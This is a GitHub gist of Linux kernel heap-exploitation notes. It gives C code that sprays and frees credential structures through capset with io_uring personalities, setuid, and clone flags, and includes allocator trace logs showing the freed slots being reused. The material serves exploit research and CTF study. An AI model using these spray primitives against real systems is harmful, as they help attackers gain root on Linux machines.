Skip to content

Instantly share code, notes, and snippets.

@ameetsaahu
Created November 30, 2022 13:52
Show Gist options
  • Save ameetsaahu/56b258b9691a70a8ca9a7b999d5cb4ed to your computer and use it in GitHub Desktop.
Save ameetsaahu/56b258b9691a70a8ca9a7b999d5cb4ed to your computer and use it in GitHub Desktop.
Cred spraying techniques

Using capset

// Thanks to @pqlqpql
#include <linux/io_uring.h>
#include <sys/capability.h>
#include <sys/syscall.h>

struct user_cap_data_struct {
    uint32_t effective;
    uint32_t permitted;
    uint32_t inheritable;
};

void errExit(char* msg1)
{
  puts(msg1);
  exit(-1);
}

static int sys_io_uring_setup(size_t entries, struct io_uring_params *p)
{
    return syscall(__NR_io_uring_setup, entries, p);
}

static int uring_create(size_t n_sqe, size_t n_cqe)
{
    struct io_uring_params p = {
        .cq_entries = n_cqe,
        .flags = IORING_SETUP_CQSIZE
    };

    int res = sys_io_uring_setup(n_sqe, &p);
    if (res < 0)
        errExit("io_uring_setup() failed");
    return res;
}

static int alloc_n_creds(int uring_fd, size_t n_creds)
{
    for (size_t i = 0; i < n_creds; i++) {
        struct __user_cap_header_struct cap_hdr = {
            .pid = 0,
            .version = _LINUX_CAPABILITY_VERSION_3
        };

        struct user_cap_data_struct cap_data[2] = {
            {.effective = 0, .inheritable = 0, .permitted = 0},
            {.effective = 0, .inheritable = 0, .permitted = 0}
        };

        /* allocate new cred */
        if (syscall(SYS_capset, &cap_hdr, (void *)cap_data))
            errExit("capset() failed");

        /* increment refcount so we don't free it afterwards*/
        if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0)
            errExit("io_uring_register() failed");
    }
}

int main()
{
    int uring_cred_dumps[2] = {uring_create(0x80, 0x100), uring_create(0x80, 0x100)};

    /* cred structure spray */
    alloc_n_creds(uring_cred_dumps[0], 0x8);

    /* release the cred chunks */
    close(uring_cred_dumps[0]);
    /* wait for rcu to finish so creds are actually freed. */
    usleep(200000);

    return 0;
}

Below is the trace dump showing the allocation and freeing of chunks.

         exploit-142     [000] ....     6.104234: kmem_cache_alloc: call_site=xas_alloc+0xa3/0xd0 ptr=ffff888004a9b918 bytes_req=576 bytes_alloc=584 gfp_flags=GFP_NOWAIT|__GFP_NOWARN
         exploit-142     [000] ....     6.104563: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040e5780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.104572: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5e30 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.104936: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ffb40 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105046: kmem_cache_alloc: call_site=xas_alloc+0xa3/0xd0 ptr=ffff888004a9b240 bytes_req=576 bytes_alloc=584 gfp_flags=GFP_NOWAIT|__GFP_NOWARN
         exploit-142     [000] ....     6.105238: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040e5300 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105247: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5968 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105291: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ff300 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105458: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040e5900 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105466: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5360 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105497: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ff7e0 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105535: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd6c0 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105543: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5060 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105571: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880052ffa80 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105606: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd000 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105613: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5980 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105642: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff888005137c00 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105677: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105684: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5278 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105711: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff888005137d80 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105745: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd300 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105752: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5170 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105802: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880053f3de0 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105838: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd900 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-142     [000] ....     6.105845: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052a5048 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-142     [000] ....     6.105872: kmalloc: call_site=__io_uring_register+0x28b/0x1250 ptr=ffff8880053f3540 bytes_req=72 bytes_alloc=96 gfp_flags=GFP_KERNEL
         exploit-142     [000] .N..     6.107286: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ffb40
         exploit-142     [000] .N..     6.107420: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ff300
         exploit-142     [000] .N..     6.107424: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ff7e0
         exploit-142     [000] .N..     6.107427: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880052ffa80
         exploit-142     [000] .N..     6.107430: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff888005137c00
         exploit-142     [000] .N..     6.107433: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff888005137d80
         exploit-142     [000] .N..     6.107435: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880053f3de0
         exploit-142     [000] .N..     6.107524: kfree: call_site=io_unregister_personality+0x67/0x90 ptr=ffff8880053f3540

         exploit-142     [000] ....     6.105606: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd000 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
          <idle>-0       [000] .Ns.     6.119158: kmem_cache_free: call_site=put_cred_rcu+0x84/0xb0 ptr=ffff8880040bd000
              sh-147     [000] ....     6.321777: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd000 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL

         exploit-142     [000] ....     6.105677: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
          <idle>-0       [000] .Ns.     6.119161: kmem_cache_free: call_site=put_cred_rcu+0x84/0xb0 ptr=ffff8880040bd780
              sh-147     [000] ....     6.315616: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd780 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL

Using setuid

Spray done by setuid is temporary. Bcz the process is unpriviledged, the chunk is actually registered to rcu immediately to be freed by abort_creds(). Results in the following:

  /* Unpriviledged process fails the call(returns -1) and 
   * the chunks are freed by the rcu
   */
  setuid(0);
  // Also set*id() functions seem similar, they should be able to do this "temporary" spray.
         exploit-144     [000] ....    16.941555: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd240 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
         exploit-144     [000] ....    16.941577: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052903e8 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
         exploit-144     [000] ....    16.942228: kmem_cache_alloc: call_site=getname_flags.part.0+0x30/0x1b0 ptr=ffff88800400b000 bytes_req=4096 bytes_alloc=4096 gfp_flags=GFP_KERNEL
         exploit-144     [000] ....    16.942351: kmem_cache_free: call_site=putname+0x4c/0x60 ptr=ffff88800400b000

         exploit-144     [000] ....    16.941555: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd240 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL
          <idle>-0       [000] .Ns.    16.953468: kmem_cache_free: call_site=put_cred_rcu+0x84/0xb0 ptr=ffff8880040bd240
              sh-149     [000] ....    17.155304: kmem_cache_alloc: call_site=prepare_creds+0x27/0x1f0 ptr=ffff8880040bd240 bytes_req=168 bytes_alloc=192 gfp_flags=GFP_KERNEL

         exploit-144     [000] ....    16.941577: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052903e8 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO
          <idle>-0       [000] .Ns.    16.953441: kfree: call_site=security_cred_free+0x42/0x50 ptr=ffff8880052903e8
           <...>-151     [000] ....    21.914192: kmalloc: call_site=security_prepare_creds+0x76/0xa0 ptr=ffff8880052903e8 bytes_req=8 bytes_alloc=8 gfp_flags=GFP_KERNEL_ACCOUNT|__GFP_ZERO

clone with specific flags

/* Thanks to @Fizzbuzz101
 * https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
 */
#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND
__clone(CLONE_FLAGS, &new_func_thread);

It produces this limited noise in the memory allocator.

task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
signal_cache
pid
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment